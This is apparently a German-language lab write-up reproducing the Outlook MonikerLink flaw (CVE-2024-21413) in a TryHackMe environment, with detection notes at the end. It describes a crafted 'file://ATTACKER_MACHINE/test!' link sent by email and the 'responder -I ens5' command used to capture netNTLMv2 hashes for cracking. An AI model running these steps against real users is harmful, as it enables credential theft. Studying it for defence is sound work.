💻 CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Sicherheitslücke-PoC

🧩 Übersicht

Dieses Projekt reproduziert das MonikerLink-Verhalten (CVE-2024-21413) in einer vollständig isolierten TryHackMe-Umgebung, um zu zeigen, wie bestimmte Hyperlink-Formate dazu führen können, dass Outlook einen Link so verarbeitet, dass Authentifizierungsversuche preisgegeben werden oder weitere Ausnutzung ermöglicht wird. Das Ergebnis ist ein PoC sowie eine priorisierte Liste von Abhilfemaßnahmen und Erkennungsvorschlägen, die Sicherheitsteams anwenden können. Es wurden keine live/unautorisierten Systeme angegriffen.

---

⚙️ Werkzeuge & Technologien

---

🚀 Einrichtung & Ausführung

• Terminal auf der angreifenden Linux-Maschine öffnen
  • Eine Python-Datei erstellt und den Code exploit.py eingefügt

    Dieser Code wurde von CMNatic geschrieben und ist hier zu finden.

  • Ich habe den Code an meine Maschinenumgebung angepasst.

    Zum Beispiel in der Zeile „<a href=“file://ATTACKER_MACHINE/test!“ habe ich „ATTACKER_MACHINE“ durch die IP-Adresse meiner angreifenden Maschine ersetzt und in der Zeile „server = smtplib.SMTP('MAILSERVER', 25)“ habe ich „MAILSERVER“ durch die IP-Adresse meines Opferrechners geändert.

  • Dann habe ich die Datei exploit.py ausgeführt und die Antwort erhalten, dass die E-Mail gesendet wurde.
  • Um den netNTLMv2-Hash zu erfassen (dies ist ein Hash, der mit John the Ripper oder anderen Tools entschlüsselt werden kann, um Klartext-Passwörter zu erhalten), habe ich ein Tool namens Responder verwendet, um die Antwort des Opferrechners abzufangen. Der Befehl zum Ausführen des Responders war:

    responder -I ens5

    • Hier steht -I für das Interface und ich habe das Interface ens5 verwendet. In meinem Fall zeigte der Befehl einen Fehler. Um das Problem zu lösen, habe ich zuerst den folgenden Befehl verwendet und dann den obigen Befehl erneut ausgeführt, was funktioniert hat:

      systemctl start systemd-resolved

• Dann habe ich mich in meinen Opferrechner eingeloggt
  • Ich habe Outlook geöffnet und den Link in der E-Mail geöffnet, die ich von der angreifenden Maschine gesendet hatte
• Auf diese Weise konnte der Responder auf meiner angreifenden Maschine durch einen Klick auf den Link den netNTLMv2-Hash erfassen

---

Dieses Proof-of-Concept legt eine Nuance in Microsoft Outlooks Link-Verarbeitung offen: Bestimmte file://-artige Moniker-Links, die auf SMB-Ressourcen verweisen, können Outlooks Standardfilter umgehen und ausgehende Authentifizierungsversuche auslösen. Das hier gezeigte Verhalten wurde in einer vollständig kontrollierten TryHackMe-Umgebung reproduziert und zeigt, wie scheinbar harmlose Link-Formate Netzwerkinteraktionen verschleiern können. Obwohl Hersteller-Patches und Erkennungsrichtlinien veröffentlicht wurden, bleiben die zugrundeliegenden Mechanismen aufgrund legitimer Verwendungen des Moniker/File-Schemas komplex. Wichtig ist, dass die durch diesen PoC erzeugte Aktivität auf Netzwerkebene beobachtbar ist (z. B. in Paketerfassungen mit NTLM-Authentifizierungsversuchen), was sie für forensische Analysen und Incident Investigations zugänglich macht.

Erkennung

Eine Yara-Regel wurde von Florian Roth erstellt, um E-Mails zu erkennen, die das :file:\:-Element enthalten.